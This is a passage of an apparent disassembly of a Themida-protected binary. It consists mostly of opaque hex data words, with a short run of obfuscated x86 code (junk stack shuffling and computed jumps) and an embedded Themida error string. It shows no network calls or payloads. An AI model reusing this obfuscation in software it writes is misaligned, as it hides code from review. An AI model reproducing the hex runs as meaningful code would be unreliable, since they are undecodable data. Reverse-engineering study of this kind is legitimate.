0A6FB93D1h, 0D2892F6Fh, 3ACA96F3h, 0E0AD8C1Eh, 36C11A07h dd 0F12042D1h, 610E44ADh, 1161ECB2h, 0AC52B5D1h, 0EB8007E0h dd 0C3EC7727h, 0A07B45Ah, 77B00994h, 283AD9BDh, 1248B1EDh dd 65F0AE65h, 93233D4Ch, 0DAC30D77h, 0DC358A0Fh, 7AD31CC2h dd 0FB7C9744h, 0C23C9FBBh, 116AFFE6h, 0E6C242A5h, 931937FFh dd 0FF4DAB5Ch, 71FC65BEh, 1DEE0145h, 3085D578h, 9213B9E5h dd 7F1FF4D8h, 27779C49h, 0C6D8379Ch, 77DAF636h, 9D781CE6h dd 790B9E44h, 75A00F39h, 4B60F7E3h, 866A24A5h, 6BCEEA8Dh dd 35781D5Ah, 2982C3DBh, 9DF28AC0h, 749D2876h, 85F221CEh dd 1D5A0669h, 6AD32C78h, 138B85DAh, 26B95F88h, 54E47C0Dh dd 4C52BF14h, 76CC32A6h, 0A1FA8017h, 4955BE6Bh dd 0E3BB59BEh, 0CC6FF58h, 378CEB28h, 0C35C0DEh, 0B34E3DA0h dd 0A10A637Fh, 4955BE6Bh, 7CE4A5BEh, 217D97ECh, 2FC76D96h dd 0AD639513h, 86A2E287h, 781D6223h, 737EF851h, 0ED57B63Dh dd 63BC05ABh, 0B93802Dh, 0E5ED5480h, 80D8881Ch, 0E54CB56h dd 0CC72771Eh, 82C2914Bh, 1D700366h, 5ED83168h, 0D924F8E1h dd 0DA872DC0h, 822F6539h, 0BB72FF8Eh, 0D1F37DB5h, 638DDD68h dd 0E288C845h, 0E3903605h, 0C9E5702Eh, 16FADE98h, 6BA55288h dd 405EB70Ch, 0BD208CB5h, 0E3681CFFh, 3196218Ah, 0DC35C0DEh dd 0B2DB378Ch, 0F6C35F80h, 56E14AABh, 4C06872Dh, 7CE5A868h dd 0A0C3BFBAh, 86B8717h, 2E681C9Ah, 9E366CD5h, 940A095Eh dd 1174E009h, 3F681C9Ah, 7D9340E6h, 9A7BDEFAh, 50A9681Ch dd 46435CE7h, 9A74D7F3h, 49A2681Ch, 0E61050E0h, 7469BD26h dd 0AE22C803h, 7017261Ch, 54E671CAh, 838D712Bh, 0F84DE51Bh dd 0CEF7821Ch, 6987B28h, 65FD167Bh, 3D66F1ADh, 451A44D4h dd 0E7B75DD1h, 0F9B9335Ch, 14A74D87h, 290DC7F8h, 0FA24B4EAh dd 32DF14C7h, 0DCA7F26Ch, 0D655B8D4h, 227B6FB2h, 5D513B9h dd 0A840E2CDh, 176Bh, 69A7FC00h, 0F891AA35h, 0C6BCD868h dd 1407E098h, 289E85BBh, 37000000h, 0F0AE67BCh, 0E9963C65h dd 0D3EC7727h, 0FE1AAAB6h, 7E099E4h, 4C199802h, 0F4DBC75Ch dd 0E0D575D8h, 0D9429B07h, 7B833A70h, 90D0B963h, 89E2E400h dd 3BD007E0h, 153EC9D5h, 4AC71CACh, 0E169AE54h, 892285A1h dd 28EC07E0h, 81C2EB76h, 108E8328h, 42B65C85h, 0FC93A0DFh dd 34C49CEDh, 299D5618h, 2AE77CFBh, 267B0B74h, 5F86A1ECh dd 27D4D3C9h, 640A33BEh, 8FD1B8D1h, 95EE3FFh, 2F88FC94h dd 0D5C94A9Fh, 7D21F29Fh, 0D0BE3FBFh, 46E5206Ah, 1344h dd 98CED046h, 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h dd 0A66B5409h, 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h dd 0E40D1679h, 1FD63C07h, 0E6847DE0h, 62FE8BFFh, 0B3FCB6D2h dd 91EA07E0h, 3A64AC01h, 0E5B95704h, 801EF55Ah, 63E130C2h dd 3FDE199Eh, 12ECh, 0F026789Eh, 99CFCF43h, 3F7529ECh dd 0EB217D92h, 95CBD33Eh, 4EC3AC61h, 0A76D1A50h, 0FC14C1F7h dd 54BF6CA2h, 0ED45144Ah, 0E40D6ED1h, 772E9407h, 3ACA96F3h dd 0E0B3641Eh, 99298207h, 9AD0CE44h, 0EE7925EDh, 89148A89h dd 0B362B7F7h, 0B245A8C4h, 126B07E0h, 0C88203A9h, 365F2EE4h dd 0E26A79F7h, 85C555BEh, 0E0DB0669h, 7B972C07h, 0FD15BA23h dd 0E4BDFBA1h, 0B5537E1h, 0BDE131CEh, 5759032Dh, 50076A86h dd 0D42D07E1h, 1C1FC85Ah, 6993E376h, 921B85D8h, 0CC40E657h dd 7E15166h, 5726E061h, 0E58B1302h, 8EC4DA38h, 2D71A1F6h dd 3F38DA87h, 0E151C023h, 4A66E607h, 7E150E7h, 0E24BB40Dh dd 154B3E57h, 0CFF46985h, 89E20FDEh, 3A9DB9F9h, 68FFEE33h dd 7CD1690Fh, 37770797h, 0EE33B81Bh, 0CB49DEFFh, 86C46AD3h dd 2F92AEEEh, 55FFEE33h, 6AA956FCh, 0F990A934h, 0C3BBD767h dd 2307EBB1h, 0CA103ACAh, 0BC8D0DDDh, 0B53B9EBAh, 106907E0h dd 146901A7h, 0BC699FFFh, 62B74757h, 0B447EDB1h, 0E272EE9Bh dd 47C178A2h, 84C23004h, 0E4086ADEh, 0D52E0FDAh, 99DE6317h dd 8A296499h, 11ACh, 306638DEh, 0D90F8F83h, 7FB5E92Ch dd 2B613DD2h, 0D50B937Eh, 0E03ECA1h, 67AD5A90h, 0BC540137h dd 14FFACE2h, 2D85548Ah, 0E40FAE11h, 0B76ED407h, 0E68386E0h dd 0C6D838FFh, 65A2F90h, 16A5A76h, 26C07E4h, 0C1DD99B0h dd 7E3935Eh, 29B12B84h, 3CD87D93h, 45AED762h, 0E9B560B5h dd 67BCFCB3h, 8050F6A8h, 37F48348h, 0AC90052Fh, 0A63EA1BDh dd 0B64FF66h, 3A0CE691h, 1C0B394h, 0BC440000h, 4CF40992h dd 3FE5C091h, 7B6ACDEh, 0E73C7CBCh, 0A104702Eh, 0CFFFE683h dd 0F65CD076h, 2FFE682h, 0D0459E9h, 0BC34EB91h, 4413D35Dh dd 8385E804h, 52ABFFE6h, 9CF3F5ACh, 3BDA15C4h, 0F4AA67BCh dd 399A4069h, 2C811153h, 52EB9E5h, 680FA85Fh, 74833C84h dd 47CE2337h, 0FDA3CC57h, 3D1Ch, 92BCAD00h, 0C1F858B5h dd 0E6F15BDh, 0BC38E781h, 4CF2AC67h, 833298B4h, 760FFE6h dd 0B81B3777h, 0DEFFE683h, 0BC28DF85h, 306EA75Dh, 0BC4AA981h dd 0AC2C6992h, 4FF58CA1h, 3868h, 7CBC0100h, 0E682FD60h dd 24CA23FFh, 0E594CCC3h, 833AA0BCh, 0D919FFE6h, 0E6835ABDh dd 0B3EB24FFh, 65BEFF28h, 8C3B54BFh, 7B527CBCh, 0DD56BECAh dd 0A74D04AAh, 0A981306Eh, 833C844Ah, 6BDA3774h, 8A000000h dd 83CB2E4Ah, 64F9FCE6h, 0E389F2ACh, 0A099F32Ch, 0E6832184h dd 81E400FFh, 0AFFFE683h, 53BC1556h, 0FCA26EC3h, 0EBA24871h dd 0F2AC67BCh, 983E67h, 0E6837EE4h, 102CACFFh, 0FFE683ADh dd 81117AD3h, 0C76CAF57h, 9CC5504Eh, 0B04C6D22h, 0A6B0806Dh dd 0EB91FAF1h, 0A75DBC34h, 4EA3336Bh, 264FDAC4h, 4AA9C980h dd 536Dh, 67BC0600h, 4069F4AAh, 1153399Ah, 3C7CBC62h, 0E683BD20h dd 0E48AE3FFh, 0E6830A70h, 4EFD16FFh, 6BA75DBCh, 206F1EF7h dd 42C6316h, 9D721780h, 0B3089801h, 8C120260h, 0E46FD801h dd 0A95E15BBh, 43FD3F69h, 4AA30740h, 0EC663B12h, 96797161h dd 42F99F08h, 12F892BCh, 9E3F4A3Bh, 0FE3411F8h, 9FC9FFFFh dd 8A885B70h, 0D4AD9A14h, 0D2698701h, 0BAB166ACh, 96F35D14h dd 0DAF6818Eh, 0FFE68377h, 50DB449Dh, 22C6AD27h, 0F30D9F09h dd 89DEFA8Ah, 9307E486h, 8180AA3Ah, 4571C40Dh, 0FE7CAAB4h dd 0C16F6D84h, 0E52E831Bh, 6B2283B9h, 92565F5h, 7E468A6h dd 35CD73CCh, 0E468B619h, 45638D07h, 0E8398880h, 459EE78Dh dd 0E12D8EBAh, 9B3307E3h, 0ED68AA71h, 0C116BCEh, 11674F07h dd 66AD52BBh, 0DE84AD38h, 649CA35Dh, 2407212h, 32h, 8379E093h dd 0D043FFE6h, 0AB0098CEh, 1B8F3569h, 0FFE683B5h, 10A0C0C9h dd 0E08AD6F4h, 0B260B507h, 0A4FD46ECh, 4955BF14h, 0B1EF95BEh dd 0B0CAh, 96F36300h, 4C1E3ACAh, 5A07E0A4h, 0F41C7101h dd 0BEDA1AAAh, 7E0A35Bh, 4C8A3089h, 0ECB25FB4h, 7E933861h dd 0C66C9520h, 1CA7F719h, 4ADA8603h, 0DE22C12Eh, 32C21B0Fh dd 356B33DDh, 8B168888h, 0B9491772h, 0EB59929Dh, 997B1007h dd 0CC0C9C05h, 77029C77h, 6565223Dh, 0DC4564F1h, 0D88A8936h dd 0B7E72939h, 0F9A032Ch, 98ED7DE6h, 6F98237Bh, 35DE8BC9h dd 14DDAB69h, 0B3EE9E63h, 0E4314h, 0CFCF4700h, 7826EC99h dd 1E809542h, 0CAD43BE8h, 742AE794h, 6E550A3Eh, 18C5FBA3h dd 0BF6CA2FCh, 6A174D51h, 0F0BFF5A9h, 12197C98h, 0E14707E4h dd 326CA72Ah, 91D142A7h, 22B21B83h, 0B15747CDh, 7ABA021Eh dd 83BB1E3Ah, 90E9FFE6h, 0E683C124h, 0F096EFFFh, 42D1B56Fh dd 1E56265Ch, 0BC38748Bh, 3Dh, 0CA96F34Dh, 70A5FA3Ah, 6395201Dh dd 0B82146CDh, 0EA5E042Dh, 7E14928h, 0C52AB50Eh, 0AA0D294Eh dd 0D807E138h, 33E0167Fh, 1A33BEE0h, 4561F16Fh, 0FDB5873h dd 61B6469Fh, 644EAB4h, 336BA74Fh, 0D7C74EA3h, 65BF331h dd 3DEA900Eh, 0E439C9D5h, 0C0DE3230h, 18A30C35h, 8AB649EFh dd 0FFE6832Eh, 0F2821CF4h, 9929759Dh, 0E6831A7Dh, 49EF48FFh dd 81DFAA0Bh, 1F2D5F1h, 0C72007E4h, 78DBF737h, 9E07E401h dd 0C7079F45h, 8530429Dh, 0FEA4F650h, 0A4DAC451h, 0AD67BCEDh dd 437B4BF1h, 2A37F483h, 0D35E40D5h, 962304AAh dd 0B4000001h, 1AC997F3h, 0F6A867BCh, 369CB850h, 42FFE683h dd 7CBC7A29h, 83BD203Ch, 8AE3FFE6h, 92BC2DE4h, 4417AFD4h dd 71F298A0h, 9CF3C3B1h, 3BDA15C4h, 18C799F3h, 3C84680Fh dd 23377483h, 8364C7E3h, 3992FCE6h, 52B293h, 0F3430000h dd 0BC15C49Ch, 6AF5A967h, 28769C41h, 36CE749Dh, 0E683B41Ah dd 0D33E93FFh, 711740CBh, 0E37F9328h, 0BAE36E30h, 0D9DC651h dd 0E6838EF1h, 0F25BB4FFh, 0A75DBC43h, 0BC81306Eh, 4BF1AD67h dd 1D3660A0h, 281960C5h, 57C0DE31h, 476DFAB1h, 6000000h dd 12B39CF3h, 63F855C0h, 0BC34E34Ch, 0E6833AA0h, 2BEF19FFh dd 0D2CC4312h, 4D2CF958h, 74233CA7h, 67BC5DBCh, 3C65F0AEh dd 7E247A97h, 0AB5A44D1h, 0D42969A9h, 8FF25E40h, 0B5FFE683h dd 56D6134Bh, 0C12A82D6h, 67BC641Bh, 7B4BF1ADh, 37748333h dd 5CD1h, 99F36200h, 0F212AFB6h, 0CA44DBF0h, 0BA4C6F09h dd 0F6A50E1Eh, 0A02D92BCh, 0B1C95D70h, 0DE33730Bh, 0B6DF6A34h dd 0C2369C10h, 0E464FFE6h, 0E6C265C8h, 0C9328BFFh, 0EF92BC1Ah dd 190D3255h, 0C423BB61h, 12226BA7h, 0C6A2554Ah, 0A9DE8DF6h dd 0AA0D2969h, 0D8FFE683h, 6D22D97Fh, 43h, 0C799F306h dd 3AA0BC18h, 19FFE683h, 14FFD1EFh, 0AF551401h, 0A8C40444h dd 0FFE70D45h, 43A6126Bh, 71FFE70Dh, 9E7318h, 5DBCE897h dd 273492BCh, 5EFA0A77h, 0F34FB2CEh, 1C75FFE6h, 5549C976h dd 6D4AA9A6h, 0FFFFFE55h, 0CA96F306h, 6BA5FA3Ah, 0C4198D33h dd 0D207E402h, 7F94E979h, 0FC51E91Fh, 80E18717h, 0A7C3530Dh dd 7E40244h, 6C32DD72h, 0C7524CC7h, 7EAA359Eh, 7E4021Dh dd 0DB368B23h, 690F38C3h, 0A5F2EE8h, 0E40D9806h, 0A366E3Eh dd 17D44072h, 65000000h, 0E68379E0h, 0F0358FFh, 35DB048Fh dd 0DD138B88h, 0D5F6h, 96F38F00h, 0A5FA3ACAh, 821CF36Fh dd 0BF658E19h, 0E0A55D4Bh, 0DEFA3A07h, 7E0A57Bh, 61AA50A9h dd 0CE5945CCh, 57AC3CA5h, 8FE8D4B9h, 4AF9F62Bh, 12FEABE1h dd 53DEC050h, 1D36C12Ah, 4864F46Ch, 0FDE71DFh, 0DC1CAC05h dd 911D809Ch, 0EA43FFEDh, 335EF070h, 741A75C6h, 0F61949C7h dd 8BF41DA8h, 3668A855h, 40315BABh, 82D08309h, 6C1D7E24h dd 995D56E3h, 59C2F16Eh, 62A2ADC9h, 0AB4007EBh, 86AF3A64h dd 0DB388D1Dh, 0A9128C87h, 5ABDD919h, 8807E0A2h, 9E4B892Fh dd 8B6B2975h, 0A49E63D0h, 0A96CA69h, 22F40000h, 7999467Ch dd 0D342EF25h, 27E895CBh, 7D944177h, 2B7EB21h, 70A6F819h dd 174D51C3h, 0C2F8A66Ah, 6AA0FE15h, 0C427439Bh, 0F207E416h dd 6CA7D58Ch, 0D142A732h, 0F52642CDh, 0BBBC573Bh, 0E6833C9Fh dd 0A8116AFFh, 8B6AA272h, 40083874h, 99000000h, 858E96F3h dd 420B019h, 7E088B2h, 97FC87E0h, 54EC227Ch, 0B12E6E2Ah dd 8126BDD2h, 0B7640A94h, 9EB7425Ch, 0C9E575EBh, 0FDAD9DBh dd 0DE1EAE07h, 0E6995FC2h, 872C85FFh, 628B1688h, 0A7C77EBCh dd 65FD336Bh, 149FFF10h, 77D145EBh, 3CFFE683h, 94095112h dd 852B06D7h, 306638D8h, 16A6BACFh, 593916ECh, 8F0936B5h dd 9B6A7A27h, 0B149EF1Ch, 0E494BD95h, 0CF459A07h, 751B44CFh dd 343D32Ch, 7044A7C3h, 197207E4h, 4F4FC673h, 0E72C8119h dd 845A11B7h, 37F4834Ch, 155EAh, 8B709A00h, 7B86CE8Ch dd 0C22B739Eh, 97F3651Ch, 0A0BC1AC9h, 0FFE6833Ah, 7B23F146h dd 5DBC6312h, 0F32513D3h, 0DA15C49Ch, 0AE67BC3Bh, 0A3E94AF0h dd 680F12C1h, 74833C84h, 48DA37h, 0F36B0000h, 0BC15C49Ch dd 0E6833AA0h, 4EC419FFh, 948BC550h, 4D09D776h, 54EF45Dh dd 5DBCFDACh, 0A0306EA7h, 82E14460h, 7A0FFFE6h, 0F79D0698h dd 2969A940h, 0E683AA0Dh, 806ED8FFh, 0B2E2C36Fh, 7027CD36h dd 466Dh, 9CF30600h, 7CBC15C4h, 83BD203Ch, 8AE3FFE6h, 830A70E4h dd 0BFE9FFE6h, 0EB946351h, 2B8F2EAEh, 0E6C592D2h, 536CD77Dh dd 0A75DBCA4h, 0BC81306Eh, 82FD607Ch, 50BFFFE6h, 599AC34Eh dd 1E6B8600h, 0C62572AEh, 84167520h, 3774833Ch, 3CDAh dd 7CBC6B00h, 4AB6E827h, 0FFE682E7h, 0AD0EB40Dh, 0BCD685DFh dd 6E4527Ch, 0D7E98327h, 0E257BD31h, 2A83FFE6h, 0A75DBC7Bh dd 0A984336Bh, 4A6D4Ah, 0E5250000h, 0E68366C9h, 8D338CFFh dd 527CBCD6h, 38EDA4Bh, 88EB5753h, 0AEFFE74Ch, 3E4EAF55h dd 7CBC7524h, 0E732A452h, 0CA444BF0h, 0A4BBE08h, 44B85EEEh dd 0FFE6E6DEh, 0BC22D1EAh, 0AC39527Ch, 0F1889D7Ch, 6BA7944Bh dd 4AA98433h, 0FFFEA26Dh, 96F306FFh, 832487A3h, 0F952FFE6h dd 8FE40090h, 0BD07E402h, 947FD464h, 0A11B74F9h, 0E4142285h dd 7DF75007h, 0C9326CDEh, 9FBBFB93h, 7E4663Ch, 0A6B116Ah dd 314DDD83h, 7E466CEh, 0DBC350A5h, 38812750h, 0C72854DFh dd 0C907E466h, 6ABF8E48h, 8050F6A8h, 40726E48h, 10E6h dd 79E07700h, 43FFE683h, 0B198CED0h, 0C0h, 0CA96F34Ah dd 755C103Ah, 4666F29Fh, 73C808A0h, 0B85AFF9Fh, 9ACC40E6h dd 0C807E17Fh, 0BAB5DF6Fh, 0F021FDC8h, 5A44D075h, 49C71CB4h dd 0CCAC8944h, 167FC32Bh, 0B0DD33E0h, 69F0A7ADh, 0C954BD56h dd 0F787D9B0h, 0DF9B8DB7h, 0A77953DEh, 0F1288D01h, 0B2070FDEh dd 60C53F5Fh, 0B3E3A314h, 0EF489137h, 98060A5Fh, 1C5BB562h dd 0EDAD9D00h, 16AC3FFh, 342C5D76h, 257D88A4h, 0CA2307EBh dd 702EE53Ah, 18868D3Ah, 639D805Ah, 0AF4E899Eh, 758h, 84BAE432h dd 2D633BD7h, 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h dd 1301AEE4h, 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E4190265h dd 13CA3007h, 0A7326CA7h, 42CDD142h, 0DF6A34DDh, 7A05997Ah dd 5D05BFE8h, 3216D001h, 0B787BDE1h, 38748F7Fh, 271Dh dd 96F3AE00h, 7C1E3ACAh, 2A07E0A0h, 0A1F646D1h, 7AA32E70h dd 9EF960D4h, 820307E0h, 0AB89C1C8h, 4227406Eh, 0B8000000h dd 3ACA96F3h, 0E08EAC1Eh, 7E96EB07h, 0D8317A20h, 27D3FD4Dh dd 78D86A87h, 1D809C2Ch, 4307E172h, 7C9744EAh, 0D43FEC22h dd 63263FCAh, 0ED2D6DFDh, 0E1726ED1h, 953B9407h, 0DB91EF21h dd 649AF30Fh, 0B55F7BADh, 7F1D7BD4h, 0FEF1AA60h, 53091084h dd 0D63F54EBh, 55282A46h, 0FF3F07E1h, 0E15080E3h, 211A607h dd 7FE8119Ch, 5070D3EFh, 3D9607E1h, 0B8F54E97h, 579A9454h dd 81DFAAC8h, 1313D5F1h, 0E63FCF6Dh, 0DD47425Bh, 6FFF6836h dd 574CCE53h, 0F9FF8C8h, 0B54559BAh, 60EBB360h, 0A6539137h dd 0B773316Dh, 985E157Ah, 62EBE5Dh, 0BA5C0000h, 1101AEE4h dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E41Ah dd 92BC3DF4h, 48A71364h, 49F69CF1h, 1A44D4CAh, 11B6A573h dd 2CBF65F3h, 573F4EC7h, 0FAA46F03h, 3B66E780h, 4E3B9CD2h dd 606CCFEBh, 419AFFE7h, 0C72C48D8h, 0F507E4DFh, 69AC119Ch dd 6DB17735h, 57929E64h, 5B7B8h, 5B43D300h, 49A7825h, 0AAF421CEh dd 5648C774h, 9E7320h, 0FAE196CAh, 0A4518717h, 4BF82E70h dd 0F6A3D9C5h, 7C4B811Dh, 1BA50824h, 65CB07E4h, 607CBCAEh dd 0FFE682FDh, 0F6E6B923h, 0E6349229h, 1376D77Dh, 38A1BD4Dh dd 5F07E4ADh, 58A0031Fh, 5CC607E4h, 9C15A3D2h, 0E287F0CAh dd 82CB712Dh, 0DC399E29h, 8E3404C2h, 0DA159E64h, 5473Bh dd 0CBD34300h, 742AE895h, 1A84913Eh, 0C6D837E4h dd 702EE390h, 6A51063Ah, 14C1F7A7h, 0BB689E00h, 66134955h dd 0ECBBF1ADh, 1B157894h, 0D53B07E4h, 607CBC1Eh, 0FFE682FDh dd 0C324CA23h, 0EE0A9AC6h, 7E40281h, 4DB0CC0Ch, 2407E401h dd 0E401A508h, 3172CB07h, 90E932D8h, 2975A005h, 64B1D96Bh dd 9837729Eh, 4E0h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h dd 48CB78AEh, 0F9512056h, 0E41C7ADDh, 8B42A807h, 0A2326CA7h dd 82E34662h, 66ADFFE6h, 0F89EF738h, 55C01565h, 0EF95BE49h dd 42CDD142h, 12F6B0E9h, 0EBB36101h, 98CE3760h, 0EB7628EBh dd 0E68359BFh, 0ADF121FFh, 4658BD22h, 460029BBh, 68922A9Eh dd 0D63D0E25h, 9A143DC8h, 36DCF588h, 0FC17FBB5h, 0BAE812A2h dd 2D87FD46h, 5FF735DBh, 0D3A39035h, 0F59B1747h, 48D3CB48h dd 306EA3F8h, 6836DD8Ah, 0E428AED8h, 9445406Bh, 0C318B0EEh dd 0D4D24C52h, 0CA0D1736h, 2F5ABB61h, 0EB85A131h, 9707E0EDh dd 2087B33Eh, 2A07E0EDh, 0B0E8EFA9h, 4E406EF5h, 2Fh, 0A396F3DFh dd 0E6832487h, 20E419FFh, 0C3056F27h, 30C02982h, 0E1174614h dd 70FB5407h, 0E0E5DD44h, 0AC66E707h, 6EF26DA5h, 0C80B40h dd 0A79C0000h, 42A7326Ch, 0FF3FCFCFh, 0E68380E3h, 0CFCF42FFh dd 0FC8F358Eh, 97227C97h, 87BDE132h, 0E687EF13h, 0ADE033FFh dd 0D5FBB8B8h, 8AC02987h, 0DD6836DDh, 0B9BC5C4h, 5C6019E1h dd 635F821Ch, 41D0A611h, 0FD16BB24h, 47ED16A1h, 50AD93AFh dd 80D907E1h, 0C0A0E94Ah, 13381430h, 0D660FDEh, 0B7E7287Dh dd 0C55D032Ch, 0C7FDA170h, 6480F71Ah, 0FFECD201h, 237B9A2Fh dd 9D066F98h, 9F807BDFh, 2A1DC99h, 358h, 84BAE432h, 2D633BD7h dd 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h, 1301AEE4h dd 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E41D0265h, 13CA3007h dd 0FE346AA7h, 4CDCC251h, 0A8F06522h, 5E046EB0h, 96F36920h dd 2DE53ACAh, 1733CB71h, 7E09C49h, 0F2FDDC06h, 7FEC2B40h dd 0AC3790D9h, 0E0E51980h, 722CE307h, 0E9082E7h, 0ACF21E83h dd 8F37F11Ah, 20EFA92Ah, 97E154F6h, 0DF856831h, 6F6CD70Fh dd 0D27540h, 0A7060000h, 42A7326Ch, 1844CFCFh, 0FFE687F4h dd 93C9D53Eh, 2F6FA6FBh, 28D57BA4h, 59977EBh, 0A5C1517Ah dd 0FFE68742h, 1EAE1770h, 0AC524CC9h, 0D7890019h, 9D452B47h dd 187107E0h, 560E5E88h, 0AC5B5851h, 2267C806h, 5792AE3Eh dd 6D0FDE33h, 0D6613DD8h, 74B444ADh, 0A36EF41Fh, 0DE4770FBh dd 0D7842A53h, 0BE213D3Ah, 0E4FFEC91h, 90E54864h, 0B20BFFECh dd 0FDAAE049h, 62CC8A14h, 0BF999FC1h, 24EE584h, 0DA3C0000h dd 31E18EC4h, 8B8A376Dh, 0DF30DD13h, 35DC89BFh, 4AFF3369h dd 0B8EEB061h, 5F95090Bh, 0A405EB2h, 0B2E8B65Dh, 0C6F8BE3h dd 3A07E41Eh, 6AA71DD4h, 0C34FA434h, 4AF735DBh, 79FD5C9h dd 0EFBCBDDh, 1452F60Fh, 9C5F5737h, 0EDA44AB3h, 0D1DB92BCh dd 0CCCCB41Eh, 0A2CB5648h, 2DE69339h, 9281E671h, 1475D60Ch dd 0FEA0BC4Ch, 5507E0E2h, 248AE12Bh, 8C321ADEh, 335FEA43h dd 7E114CCh, 949B55D6h, 406F1C5Ch, 42FAh, 96F38B00h, 0DEFA3ACAh dd 0FFE6837Bh, 12AA50A9h, 1B46A8D2h, 0F0CF9C89h, 0D0B8D64Ah dd 8DE607E0h, 0C46FD602h, 0F87907E0h, 0CFFF373Eh, 229D406Eh dd 4D000000h, 4658B80Dh, 0C32692BBh, 0F107E0B8h, 0E03BF298h dd 0FFE6837Ah, 0D767F990h, 0E0AFB9BBh, 8EC41D07h, 0CA96F3D7h dd 0B7A41E3Ah, 0D84207E0h, 5F1A57D7h, 0BF4AB39Ah, 0E0932C93h dd 0FBB53607h, 0C3DC022Ch, 8F333B1Fh, 33E119E9h, 227F406Fh dd 10000000h, 0E68379E0h, 66FA8FFFh, 0AFB8BAD6h, 8FCF07E0h dd 0E0AF1073h, 37DD3607h, 0E8B659EEh, 95CB345Dh, 0CA96F3DEh dd 2A91E3Ah, 0DA3307E4h, 591EF54Ah, 8930B04h, 11073DFh dd 0DD3607E4h, 82913E74h, 1178911Ch, 1A90C28h, 7ED707E4h dd 71698515h, 550FE17Fh, 0FC176CFCh, 54BF6CA2h, 499F0639h dd 0A10AC2B6h, 0A79CE711h, 35F6E1DFh, 0A6E3FC8Fh, 0AC0E2ABAh dd 0DA07E119h, 8BA3C381h, 71AC9E63h, 0BBD2h, 5747CF00h dd 9E7421h, 0A6F81DCAh, 524CC370h, 0FCA26F1Ch, 0F6DD92C6h dd 0A04D831Bh, 47F42A74h, 0F29FD5C9h, 78477D21h, 20A10420h dd 69CF07E4h, 0CA96F3B2h, 4730E53Ah, 0E683C82Bh, 2C95EEFFh dd 3AD278A1h, 0E402221Eh, 0D863BC07h, 4DC2A073h, 349DC651h dd 0DCC251FEh, 771C2551h, 22724B4Ah, 8E63C6E2h, 38914481h dd 8E298CA8h, 0FE574481h, 4E1DD758h, 4757B90Eh, 818E78DBh dd 6099E44h, 7BE40D98h, 0B3EB28D5h, 5B43D07Dh, 0FAA46BD0h dd 0FAB4DD6Fh, 6BA1FD16h, 30D55BEh, 72E92F8Ah, 0DD468EF2h dd 35C02952h, 0F96h, 18F94E00h, 7996FB86h, 8719A25h, 5CBBAB62h dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E0895052h dd 405h, 4E88300h, 2474FF50h, 48F5804h ; --------------------------------------------------------------------------- and al, 5Ch push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push ecx mov ecx, 30632A67h dec ecx sub ecx, 2865A9CEh mov edx, ecx mov ecx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push 523Dh mov [esp], edx add dword ptr [esp], 52A676AFh pop dword ptr [edi+8] sub dword ptr [edi+8], 52A676AFh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- pop ss mov esi, 9BD5618Eh loc_5BD2E4: ; CODE XREF: Themida_:loc_5BB402j mov eax, 7FD9E08h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 5, 5Dh, 0A5h dd 28AF8720h, 0A1335D39h, 0EB635309h, 7CE3B12Dh, 922B875Fh dd 34274906h, 999FEB05h, 0CE852h, 8EAA0000h, 0B1EFC155h dd 895680EBh, 8B66278Dh, 800F58D1h, 6, 92E9D981h, 0C0814D82h dd 6417h, 6860Fh, 0D9810000h, 45D2D1DBh, 4795B5BFh, 0E7EF8138h dd 0F38477Ch, 0A8Bh, 48E0F00h, 66000000h, 0FF8D1FBBh, 0DE930h dd 0D2BA0000h, 89139C53h, 99D673A0h, 5E41D68Bh, 0BDEE81F5h dd 8A4DC715h, 7EC681CEh, 8009CB2Eh, 0C68132DBh, 25318E7Dh dd 7983D7BBh, 820F5628h, 2, 8FF3B3h, 0ED0FDDBBh, 2E88315h dd 592FB552h, 0BE84848h, 26000000h, 9C693262h, 52ADA741h dd 0A3B20D8Eh, 1EF815Ah, 0F000000h, 1585h, 7EBB6600h, 27E9C4h dd 4EF00000h, 0F00750E4h, 750E44Eh, 8B664EF0h, 0FF79E9D1h dd 336CFFFFh, 21E24685h, 4EC4C038h, 6B965D70h, 93E10279h dd 400E9F2h, 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FD48+2B8h dd offset dword_44B1B4+4E4Ch dd 0 dd 85E90000h, 0F000012h, 1983h, 14E900h, 0CB2B0000h, 0ECA5251h dd 0AA1DB747h, 0B24AC47Ch, 63C294CFh, 858BE196h, 7FA0AF5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 46C35545h dd 0FC70800h, 1FA2DD8Dh, 8160F9D8h, 0B14467E9h, 559D896Bh dd 6107FA34h, 4244439h, 6A850Fh, 870F0000h, 1Bh, 15840Fh dd 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h, 9F52448Eh dd 83C25299h, 0FA1CC5BDh, 840F0007h, 3Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 65C35141h, 26F98D89h dd 9D0907FAh, 7FA28F5h, 3AE2858Dh, 0B50907FAh, 